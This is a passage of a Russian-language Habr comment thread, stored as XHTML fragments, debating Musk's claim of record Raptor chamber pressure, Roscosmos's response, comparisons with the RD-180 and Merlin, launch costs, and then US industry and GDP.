href=\"https://twitter.com/elonmusk/status/1098532871155810304?s=20\">twitter.com/elonmusk/status/1098532871155810304?s=20</a><br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">тебе серьезно нужно приводить примеры того, что может государство и чего не может частная компания?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Неужели даже журналистское образование своё не оправдает Батутыч? Ведь что бы он не ответил — завтра состоится первый частный запуск лунного аппарата, что надолго утрёт нос Роскосмосу.<br/>\r\n<br/>\r\nUpd: Илон Маск также ответил про сравнение дизель/бензиновых двигателей. Очень краткий перевод:<br/>\r\n<br/>\r\nТо, что хочет сказать Роскосмос — это то, что нельзя сравнивать газ-газ и жидкость-газ<br/>\r\nИМ: Не правда<br/>\r\n<br/>\r\n<div class=\"spoiler\"><b class=\"spoiler_title\">Оригинал</b><div class=\"spoiler_text\">>> The point RosKosmos is trying to make is that in your tweet you compared a liquid/gas engine to a gas/gas engine, and that the operating parameters of those two are not comparable. (Just translating the article, I definitely don't know enough to make a judgement.)<br/>\r\n<br/>\r\nИМ: <a href=\"https://twitter.com/elonmusk/status/1098536496494108673\">Not true. Limiting factor in any staged combustion rocket engine, liquid/gas or gas/gas, is pressure &amp; temperature in oxygen preburner</a><br/>\r\n</div></div></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы зря смеётесь. Такие высказывания ориентированы на другую «целевую аудиторию», и воспринимаются ей на ура<s>-патриотично</s>.<br/>\r\nНедооцениваете вы своих врагов. Также смеялись про интернет цензуру, а удавка то затягивается с каждым годом.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Очевидно тот, который достался еще от совка, потом его модернизировали на американские деньги для их кучи ракет, которых девать было некуда, попутно в 90-х спасая специалистов из роскосмоса, которые бы с голода померли.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Маск побил рекорд по давлению в КС, державшийся 20 лет.<br/>\r\nЭффективность (термический КПД) зависит от соотношения температур в камере сгорания и на срезе сопла (что пересчитывается в соотношение давлений). У поверхности Земли мы не можем сделать давление на срезе меньше атмосферного. Так что остаётся повышать давление в КС. Для второй ступени всё проще — там можно сделать сопло с бОльшим расширением.<br/>\r\nНо у того же Мерлина давление в КС в разы меньше (~68Атм), но разве это плохой и отсталый двигатель? Если ракеты с ним уделывают российские по цене запуска?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Илон Маск в Твиттере ответил</blockquote>Да, <s>рэпбатл</s>… У Рогозина есть твиттер? что он ответит Маску? Запасаемся поп-корном!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Во первых не «тебе», а «Вам».<br/>\r\n<br/>\r\nВо вторых смотря какое государство. У «Энергомаша» так же как и у SpaceX есть бюджет. Деньги в ограниченном количестве. SpaceX так же получает от государства деньги как и «Энергомаш». Санкции ограничивают Роскосмосу доступ к компонентам. У SpaceX таких проблем нет. Плюс большинство заказчиков сидит на Западе, что так же даёт преимущество SpaceX.<br/>\r\n<br/>\r\nПросто поражает, понимание людей, что если собственник государство, то должны быть автоматически неограниченные возможности.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Согласно википедии давление в КС у РД180 — 253,3Атм. Так что 280 — это как раз сертификационные испытания (+10%). (280-253.3)/253.3=0.105 или 10.5%<br/>\r\nP.S. Посмотрел график у Маска — там bar. Это немного не совсем Атм. 267bar у РД180. Что даёт 293,7bar (+10%) на (предполагаемой) сертификации.<br/>\r\nПравда остаётся самый интересный вопрос: а сможет ли Маск выжимать все соки из Раптора также как и из Мерлина? (61,4 bar у Merlin 1C и 108bar у 1D+)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">К каким именно компонентам Роскосмос лишился доступа?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Одно подразделение Амазона может и повторить.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тогда уж так:<br/>\r\n1. Отрицание, Гнев, Торг, Депрессия — Рогозин находится здесь<br/>\r\n1.5. Возврат на 1. для российских чиновников<br/>\r\n2. Принятие</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Рогозину бы почитать про метановое ГБО (это к вопросу перехода с бензина на газ) и Skyactiv-Х (там воспламенение <b>бензо</b>воздушной смеси от сжатия — основной режим);-)<br/>\r\n<a href=\"https://autoreview.ru/articles/svoimi-glazami/15-1\">autoreview.ru/articles/svoimi-glazami/15-1</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Глава «Роскосмоса» не верит</blockquote><br/>\r\nАтеист? Ай-яй-яй… <br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Думаете нечаянно повторят? <br/>\r\nПри плановых 132 атмосфер чисто случайно выдадут на BE-4 больше 260. А он не взорвется от двукратного превышения своих характеристик?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>А вопрос можно? 268 Bar — это максимально давление среди существующих ракетных двигателей вообще, независимо от схемы и типа топлива/окислителя, или есть рабочие ракетные двигатели, работающие с более высоким(номинальным) давлением в КС?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Насколько помню, у Маска все нормально с образованием — оно может и не профильное, но высшее техническое. Чего не скажешь о Рогозине. Опять же, какое отношение это имеет к вопросу — он же не сам двигатели считает.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Интересно что будет с ракетами в свете того, что соглашения по ограничениям ОМП не продлятся.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да пофигу у кого пиписька больше. Маску спасибо, что он хотя бы мечту о колонизации марса приблежает на пол-шишечки.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>> Но у того же Мерлина давление в КС в разы меньше (~68Атм), но разве это плохой и отсталый двигатель? <br/>\r\n<br/>\r\nМаск <a href=\"https://twitter.com/elonmusk/status/1098613993176850432\">сейчас в твиттере</a> в продолжение <a href=\"https://habr.com/ru/post/441170/#comment_19785786\">ответа Рогозину</a> сказал, что Мерлин побил все рекорды по thrust/weight и thrust/cost. Так что в какой то степени он лучший. Хотелось бы конечно увидеть и это сравнение по thrust/cost наглядно.<br/>\r\n<br/>\r\n<div class=\"spoiler\"><b class=\"spoiler_title\">Оригинал</b><div class=\"spoiler_text\">SpaceX Merlin architecture is simpler than staged combustion (eg SSME or RD), but it has world record for thrust/weight &amp; thrust/cost engine. Raptor has better Isp, but I’m worried it may fall short on those two critical metrics.<br/>\r\n</div></div></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Только что прочитал: Страховщики выплатили Роскосмосу 185 миллинов баксов за 2 аварии. Это в среднем 92.5 миллиона за одну. Стоимость пуска Союза 2.1 с разгонным блоком Фрегат — 48,5 миллионов. 62 — стоимость пуска Фалькона. Взрывать ракеты выгоднее ;-)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>> Запасаемся поп-корном!<br/>\r\n<br/>\r\n<a href=\"https://www.reddit.com/r/spacex/comments/at2g5w/elon_musk_on_twitter_i_have_been_chief/\">На реддите</a> особо не верят, что подобная баталия возможна. Один из топовых комментариев:<br/>\r\n<br/>\r\nRogozin is journalist by education and propagandist by trade (not even a politician) without any technical knowledge whatsoever. He not even have a chance to understand what he's talking about.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот здесь например сравнение: <a href=\"https://en.m.wikipedia.org/wiki/Comparison_of_orbital_rocket_engines\">en.m.wikipedia.org/wiki/Comparison_of_orbital_rocket_engines</a><br/>\r\n<br/>\r\nПравда там указаны целевые цифры для Раптора (300бар), а внизу — достигнутые для обсуждаемого Раптора «starship version»</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Про thrust/cost — а как он узнал себестоимость российского двигателя? Или какова рыночная цена его двигателя? Или что с чем он вообще сравнивает?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>То есть грубо говоря, исходя из таблицы обсуждаемые цифры — это рекордные показатели для любого ракетного двигателя, независимо от типа и топлива.<br/>\r\nС этой точки зрения слова Рогозина даже не обсуждаются, но вот слова главного конструктора «Энергомаша» Левочкина звучат, как минимум, странно — зачем приплетать конструкцию и вид топлива, если и так понятно, что догоняют? И если РД-180 сертифицирован на давление на 10% выше, почему об этом стало известно только сейчас? Только как повод заявить, когда Раптор дотянут до 300 Атм, что РД-180 тоже столько на стендах развивал?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Musk moved to Canada when he was 17 to attend Queen's University. He transferred to the University of Pennsylvania two years later, where he received an <strong>economics degree</strong> from the Wharton School and a <strong>degree in physics</strong> from the College of Arts and Sciences. </blockquote><p>У Маска вышка по физике, в чем-чем, а в физике ракетных двигателей он способен разобраться. В отличии от журналиста, да.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Чтобы сравнить не обязательно быть Маском, будем округлять…<br/>\r\n<br/>\r\nРД-180, весит 6 т., стоит от 10 млн.долларов. тяга 400 тонн.<br/>\r\nМерлин 1D, весит 500 кг, стоит 1 млн.долларов, тяга 80 тонн. <br/>\r\n<br/>\r\nА что на это ответит Рогозин — «Вы всё врете… бла, бла, бла»</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>«Глава «Роскосмоса» не верит»<br/>\r\nОу. Теперь это вопрос веры?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Самое смешное, что они так гордятся своим РД-180, и при этом, ни одна российская ракета на данный момент этот движок не использует. На этих движках летают только американские «Атласы».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Маск не является специалистом техническим</blockquote> специалист технический… прям как название растения звучит))</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У Рогозина был и твиттер и фейсбук, но после знаменитой истории с племянником он <s>понял, что лучше жевать(с) и</s> удалил все.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так пускай выдадут данные хотя бы на уровне Маска, без нуля на оси У.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В стоимость запуска не входит стоимость КА.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А 1 млн за Мерлин — его вот прямо можно пойти и купить за эти деньги? Или это все же себестоимость?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А разве РД-180 можно купить на рынке? Американцы права на его продажу не отдавали…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Радиационно-стойкой электронике.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А какие двигатели американцы закупали у Энергомаша? Не эти?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так права на него им и принадлежат… Энергомаш для них их собирает, а переносить производство к себе правообладатель считает не имеющем экономического смысла</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>У «Энергомаша» так же как и у SpaceX есть бюджет. Деньги в ограниченном количестве. SpaceX так же получает от государства деньги как и «Энергомаш».</blockquote><br/>\r\n<br/>\r\nУточню, вы хотите сказать, что Энергомаш получает деньги от государства как и СпейсХ только за исполнение контрактов?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А только я заметил, что Маск просто описал результаты, при этом не ругая РД-80 (да ещё и используя определение awesome)? Мне кажется, что кто-то нервничает :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>Во вторых смотря какое государство<br/>\r\nя же сказал, ядерная сверхдержава. любая.<br/>\r\n<br/>\r\n>Санкции ограничивают Роскосмосу доступ к компонентам<br/>\r\nсанкции ввели в 2014 году. а до 14 года что делали?<br/>\r\n<br/>\r\n>Просто поражает, понимание людей, что если собственник государство, то должны быть автоматически неограниченные возможности.<br/>\r\nони и есть неограниченные. просто ими распоряжаться нужно правильно. потому то они и потенциальные. можно вложиться в подготовку инженеров, конструкторов, развитие отрасли, а можно проводить олимпиады, чемпионаты мира по катанию мяча по траве, и в итоге жиденько обосраться.<br/>\r\n<br/>\r\n>Во первых не «тебе», а «Вам».<br/>\r\nа вас там много?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Батутный министр просто делает свою работу, и она никак не связана с развитием космической промышленности РФ или вообще ее процветанием.<br/>\r\nА что касается отказа от российских двигателей, всегда же есть Иран, Куба, Венесуэла, КНДР, даже если продавать в долг.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы забыли обязательную стадию «Бомбить Воронеж».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Думаю будут пытаться конкурировать повышая характеристики включая давление.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ещё немного попоболи для Рогозина: Маск успешно запустил еврейский аппарат к Луне (те приняли управление, всё путём) и посадил первую ступень на баржу. Аппаратик построен некоммерческой организацией отчасти на пожертвования граждан.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Настолько специалист, что видимо считает впринципе невозможным создание лучше того, что есть. Тем не менее уже есть модели, превосходящие «классику», они разработаны, <s>отлажены и запущены в массовое производство</s> не так далеко за МКАДом. <br/>\r\nБеда лишь в том, что у нас «работает не трогай/ты инженер, вот тебе компенсация труда вместо зарплаты/начальство лучше знает, что нам надо», а потом в обладателях патентов на движки Илона обнаружат кучу бывших соотечественников.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Походу в стоимость страховки тоже. КА страхуются отдельно.<br/>\r\n<a href=\"https://ria.ru/20180512/1520412455.html\">ria.ru/20180512/1520412455.html</a><br/>\r\n<blockquote>В конце апреля 2018 года РКК «Энергия» признала потерю космического аппарата связи, построенного для Анголы и запущенного на орбиту в конце 2017 года. Как сообщалось, связь со спутником была потеряна практически сразу после запуска. Аппарат был застрахован на 121 млн долларов при стоимости аппарата в 252 млн долларов.</blockquote></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>> а потом в обладателях патентов на движки Илона обнаружат кучу бывших соотечественников.<br/>\r\n<br/>\r\nДобавлю, что скоро иссякнут все надежды «ну ладно дурачок во главе компании, просто говорящая голова, которая ни на что не влияет, инженеры то свою работу делают». Как показывает практика — Батутин делает всё возможное для того, чтобы Роскосмос развалить.<br/>\r\n<br/>\r\nПрекрасно всё, от того, как он портит отношения с иностранными партнерами, до того как тратит миллионы рублей на комфорт своих ягодиц, чтобы денёк погулять-пофоткаться на предприятии, работники которого устраивают протест после его прилёта. <br/>\r\n<br/>\r\nЭдакий царь Мидас наоборот, всё к чему прикасается превращает в г… но. На одну ОАК только взглянуть, где он сыночка своего пристроил…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Но у Рогозина и Левочкина показательно бомбануло.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">:)<br/>\r\n<img src=\"https://habrastorage.org/r/w780q1/getpro/habr/comment_images/b65/b04/91a/b65b0491a818e7eeb4f78c68cc2290e3.jpg\" alt=\"image\" data-src=\"https://habrastorage.org/getpro/habr/comment_images/b65/b04/91a/b65b0491a818e7eeb4f78c68cc2290e3.jpg\" data-blurred=\"true\"/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><div class=\"spoiler\"><b class=\"spoiler_title\">это как в стишках-пирожках:</b><div class=\"spoiler_text\"><img src=\"https://s.fishki.net/upload/users/327747/201407/15/e97e23cb6b2cd374e15bd6a2fcc535a7.png\" alt=\"image\" data-src=\"https://s.fishki.net/upload/users/327747/201407/15/e97e23cb6b2cd374e15bd6a2fcc535a7.png\"/><br/>\r\n</div></div></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Более того, он ранее весьма хвалил РД-180.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote> попутно в 90-х спасая специалистов из роскосмоса, которые бы с голода померли.</blockquote><br/>\r\nДа ладно. Специалисты с голоду не помрут ни при каких 90-х.<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Депрессию и принятие поменяйте местами, пожалуйста.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А то что государство не может запустить человека на орбиту, не позор? Приходится ходить к Рогозину на поклон. <br/>\r\nОтдельно пройдусь по многоразовости двигателя. С рекордными параметрами нагрузки то-же рекордные. Так что скорее всего на полной загрузке движок будет одноразовый, а вот при неполной будет работать не в оптимальном режиме, да и после каждого полета, будет разборка, дефектоскопия и снова сборка.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>> Приходится ходить к Рогозину на поклон. <br/>\r\n<br/>\r\nСотни миллионов людей на Земле задаются вопросом — ну когда же мы объединимся и будем расширятся по вселенной, вместо войн за клочки Земли. И только Роскосмос со своими фанатами — «нет своих двигателей — слабаки! нет своих кораблей для доставки экипажа — позор!».<br/>\r\n<br/>\r\nВот только если разобраться с этими «своими двигателями» и «своими кораблями» — слабаки и позор окажутся на самом деле эпитетами Роскосмоса. Кратко — РД-180 стоит 25 млн.$, в то время как запуск летавшей Falcon 9 обходится дешевле, при том что у него 9 двигателей; свои корабли доставки экипажа у этого государства были — Space Shuttle.<br/>\r\n<br/>\r\n>> Отдельно пройдусь по многоразовости двигателя<br/>\r\n<br/>\r\nДействительно… прошлись…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Специалисты не помрут, конечно. Сбегут в другую компанию/отрасль/страну. </p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Но ведь… На самом деле все только и делают, что сравнивают бензиновые и дизельные двигатели. Не?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">But lets be honest, mr. Rogozin is stonger specialist in trampolines production с твиттера…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Их сравнивают по внешним параметрам, а не по внутренним, маловероятно, чтобы когда либо бензиновый двигатель работал при степени сжатия смеси, характерной для дизеля, хотя при сильно обедненной смеси — кто знает…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">РД-180, емнип, стоит около 11? а 25 — это РД-171? у Маска вся двигательная установка тоже в районе 10 стоит? <br/>\r\nну а о том, сколько реально обходится дефектовка и пуск б/у — насколько знаю, достоверно/официально не сообщалось. Известны только стоимости пусков для конечного заказчика…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да много что он может считать! А разве эффективность двигателя зависит от того что кто-то там считает или нет. При том что сам новых двигателей не разрабатывал.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Имеет смысл сравнивать всё же по выходным характеристикам (мощность, момент, расход топлива), а не по внутренним (давление в рампе, степень сжатия).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>> РД-180, емнип, стоит около 11? а 25 — это РД-171? у Маска вся двигательная установка тоже в районе 10 стоит? <br/>\r\n<br/>\r\nНа реддите пишут, что 11 он стоил при пакетной покупке по старым контрактам, а сейчас 25. По Маску — где то так.<br/>\r\n<br/>\r\n>> ну а о том, сколько реально обходится дефектовка и пуск б/у<br/>\r\n<br/>\r\nНу я исходил из того, что пуск стоит 60 млн.$, 15% — прибыль ~ 50 млн.$ себестоимость, а Гвинн Шотвелл заявляла, что самая первая дефектовка обошлась почти в 50% от стоимости пуска, что как раз и равно 25 млн.$. Сейчас должно быть ещё дешевле.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Уточню, что Раптор работает на газу, и бензиновый ДВС можно легко перевести на газ, соответственно сравнивать их можно очень легко. </p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мы всё еще говорим о двигателях или перешли на отрасль в целом?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот как раз от побега спецов в Иран/Китай и спасались этими совместными проектами. Это не только двигателей касается, но и программа МИР-Шаттл в том числе ради этого началась.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><img src=\"https://habrastorage.org/r/w780q1/getpro/habr/comment_images/409/2a1/a2f/4092a1a2fec2b50ce5f29671d0282320.jpg\" alt=\"image\" data-src=\"https://habrastorage.org/getpro/habr/comment_images/409/2a1/a2f/4092a1a2fec2b50ce5f29671d0282320.jpg\" data-blurred=\"true\"/><br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не, ну как, у Маска есть конечно часть от шоу-бизнеса, но американскую инженерную и производственную культуру никто не отменял. И она в SpaceX на высочайшем уровне, с внедрением всех этих BIM и прочих технологий, которые в Роскосмосе даже не пытаются внедрять.<br/>\r\nПревосходство этой инженерной и производственной культуры признавали советские специалисты, правда они говорили, что нужно этому учиться у американцев, хотя и советская производственная культура была не на последнем месте в мире.<br/>\r\nА теперь мы отстаём по всем параметрам, но этот надутый индюк акцентирует внимание на шоу-бизнесе, игнорируя наш шоу-бизнес с освящением ракет, и совсем забывая про разницу в инженерной культуре.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>но американскую инженерную и производственную культуру никто не отменял</blockquote><br/>\r\nнасчет инженерной не скажу, а от производственной культуры они сами добровльно отказались, сейчас время от времени поднимают вопрос «как нам вернуть заводы из Китая обратно в США».<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У них промышленность в процентном отношении к экономике примерно как в РФ. Но так как сама экономика раз в десять больше, то «производственной культуры» там больше.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">«Частного» там не так много.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Серьезное заявление. Обосновывать его Вы, конечно же, не будете?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ага, у Маска нет образования подходящего, а у Рогозина есть?<br/>\r\nМаск — бакалавр физики и экономики<br/>\r\nРогозин — доктор философии и журналист, как тебе такое Илон?<br/>\r\nНе судите строго, но просто смешно было читать новость</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У Роскосмоса зарплаты нищенские, рынок пусков потерян, землю свою распродают. <br/>\r\nКому-нибудь действительно должно быть дело до мнения главы этого бедлама?<br/>\r\n<br/>\r\nЗЫ я когда увидел какие бабки он тратит на коммандировку, думал мне лишние нули померещились.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">рабочие УКВЗ тоже возмутились. он за однодневную командировку прокатал месячную зарплату 15% работников завода…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Блаженны верующие, ибо их есть царствие небесное!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну так первая дефектовка, вероятно, была полностью вручную. А когда уже известно, куда смотреть, контрольные точки и параметры проверки — все должно быть уже на порядок дешевле.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Поэтому и было написано обходительное «дешевле». Посмотрите чуть ниже на комментарий <a href=\"https://habr.com/ru/users/rotarepo/\" class=\"user_link\">rotarepo</a>, здесь многие очень скептично относятся к Спэйс Иксам и Маску в частности. Если называть предполагаемые на сегодняшний момент цифры — они сразу накинуться, мол не может быть, чтобы Space X'ам вчерашний запуск лунного аппарата обошёлся в районе 15 млн.$*, а достоверных пруфов нет, кроме умозаключений на основе того, что мы видим и слышим. Приходится немного приуменьшать заслуги Space X. Иначе загрызут требованием «пруфов».<br/>\r\n<br/>\r\nЗато Роскосмос да. Говорит о ядерном буксире, значит он конечно же будет. И конечно же в ближайшее время. Говорят Маск мошенник — значит мошенник. Самый проверенный источник информации с самым успешным журналистом во главе.<br/>\r\n<br/>\r\n* — в районе 7 млн.$ вторая ступень, 3 млн.$ дефектовки первой ступени (10% от её стоимости) и ещё 5 млн.$ сами операции по пуску включая буксировку ступени обратно и отправку на дефектовку (собственные прикидки на основе <a href=\"https://www.reddit.com/r/spacex/comments/62sq7z/cost_calculation_for_falcon_9_falcon_heavy/\">Cost calculation for falcon 9 falcon heavy</a> двухгодичной давности).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Технически то государство может запускать человеков на орбиту самостоятельно с 2012 года как минимум. В Дракон поставил кресла и вперед. Но видите ли нельзя теперь астронавтов в корабле без САС возить, а, главное, на Орионе тогда еще не успели освоить и 10 миллиардов — нельзя было допускать у электората всяких нехороших мыслей.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А вообще, они на самом деле немного вразумили Маска и сэкономили время. Заставили отказаться от крутого реактивного Дракона (а это был самый настоящий Дракон!) в угоду политике. Но всё же от Красного Дракона на Марсе не было столько толку, как будет от Космического корабля. Как в своё время Россия вразумила Маска, что не нужно с нами сотрудничать, нужно самому строить ракету-носитель.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В общем ответили. <a href=\"https://meduza.io/news/2019/02/22/rogozin-predlozhil-postroit-v-moskve-natsionalnyy-kosmicheskiy-tsentr-v-forme-rakety\">Рогозин предложил построить в Москве Национальный космический центр в форме ракеты</a>. В очередной раз распилить на стройке несколько миллиардов, вместо того, чтобы пустить их в разработки. Как тебе такое, Илон Маск?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Маск просто не дорубает, что так можно — работает все в каких-то ангарах на краю аэропортов — никакой фантазии.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Всё реактивная посадка на землю — лучше, чем в океан, а потом лови с сачком…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">По этому вспомнился сериал КЯВВМ, и там был проект здания… тоже таких форм…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А еще «Федерацию» <a href=\"https://www.rbc.ru/technology_and_media/22/02/2019/5c7006459a794725bfd4131b\">переименует</a>. У него вон какие серьезные дела, не какой-то там двигатель на метане.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Что значит денег нет? В российских банках полно денег. Одолжат, потом за откат в 10% долг простят. Убыток государству откат царьку с боярами. Система нипель.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Осенью купил книжку «Красный Марс»… Так и не прочитал — как только начинается описание от лица российских персонажей от фейспалмов начинает голова болеть.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Но так как сама экономика раз в десять больше, то «производственной культуры» там больше.</blockquote><br/>\r\n<br/>\r\nУ них размер экономики <b>не связан</b> с производством.<br/>\r\n<br/>\r\nПолюбопытствуйте что такое деривативы и как они вызвали гигантский «рост» экономики США просто из воздуха.<br/>\r\n<br/>\r\nНапример, вот здесь хорошим доходчивым языком <a href=\"https://ru.wikipedia.org/wiki/%D0%98%D0%B3%D1%80%D0%B0_%D0%BD%D0%B0_%D0%BF%D0%BE%D0%BD%D0%B8%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5_(%D1%84%D0%B8%D0%BB%D1%8C%D0%BC)\">«Игра на понижение» (фильм, 2015)</a> американцы сами об этом рассказывают (причины экономического кризиса 2007-2008 года).<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А Вы, простите, понимаете, что такое деривативы? Торгуете им?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>А Вы, простите, понимаете, что такое деривативы? Торгуете им?</blockquote><br/>\r\n<br/>\r\nТам все разжевано в фильме. В понятной форме и занятной художественной форме. <br/>\r\nТам и Марго Робби из ванны расказывает так, что будет понятно даже «блондинке».<br/>\r\n<br/>\r\nК оценке <b>производственной</b> части экономики они отношения не имеют, при этом создают огромный объем экономики чисто в цифрах.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В расчет ввп они не включаются. А там 20 трл.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>В расчет ввп они не включаются. А там 20 трл.</blockquote><br/>\r\nДо века 17 разве что ВВП и объем производства можно считать синонимами (а для Испании, чье собственное производство фактически было разрушено торговлей-грабежом Америки даже и раньше; аналогично несравнимые цифры для чуть позже для Великобритании, наварившейся на Индии).<br/>\r\n<br/>\r\nВ конкретно США, пожалуй, что полвека точно — ВВП даже рядом не отражает производство.<br/>\r\n<br/>\r\nВ современном мире производство далеко не превалирующая статья ВВП.<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Давайте возьмем самую простую формулу ВВП:<br/>\r\nВВП = Внутренне потребление + Экспорт — Импорт<br/>\r\n<br/>\r\nИзначально Вы сказали глупость про деривативы. Теперь перешли к тому, что ВВП и объем производства не являются синонимами. Не являются из покон веков, а не 17 века! С первой оказанной услуги! Просто развитые страны способны не только накормить своих граждан, но и дать им какие-то более высокие блага. А деривативы — это просто не более, чем движения капитала/прав собственности, из которого в ВВП попадает лишь премия за оказанную услугу, зачастую составляющая тысячные доли процента. Не даром в США финансовый сектор (включающий в себя также страхование и торговлю недвижимостью, которая в одиночку занимает 12%!) в ВВП составляет лишь 20%, при всех своих пугающих аборигенов масштабах. И многие экономисты наоборот считают, что надо его при этом снижать, что он вредит, а не приносит должных благ.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так вы про деривативы говорите или про постиндустриальную экономику, где непроизодственные сферы занимают большую долю? Напомню, что вы возразили про деритивы в ответ на «У них промышленность в процентном отношении к экономике примерно как в РФ. Но так как сама экономика раз в десять больше, то «производственной культуры» там больше.» Так вот экономика без всяких деривативов в пять раз больше (да не в 10). Из них промышленности 20%.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Не являются из покон веков, а не 17 века! С первой оказанной услуги!</blockquote><br/>\r\nДо сравнительно недавних пор (в масштабах истории) услуги были незначительны по сравнению с производством вещей/продуктов/пр.<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Изначально речь была о том, что <b>производственная культура Америки уходит в прошлое</b>. Ибо большей частью ушла в Китай много лет назад.<br/>\r\n<br/>\r\nРФ тут вообще приплели не к месту (и кстати, забыв учеть разницу в населении).<br/>\r\n<br/>\r\nНу и оценку объемов американского производства дали неверную (умолчав о нюансиках), которая должна ввести в заблуждение и в благоговение перед США.<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">20 % от 20 трлн пока еще никуда не ушли. В самом Китае кстати промышленность занимает долю от ввп 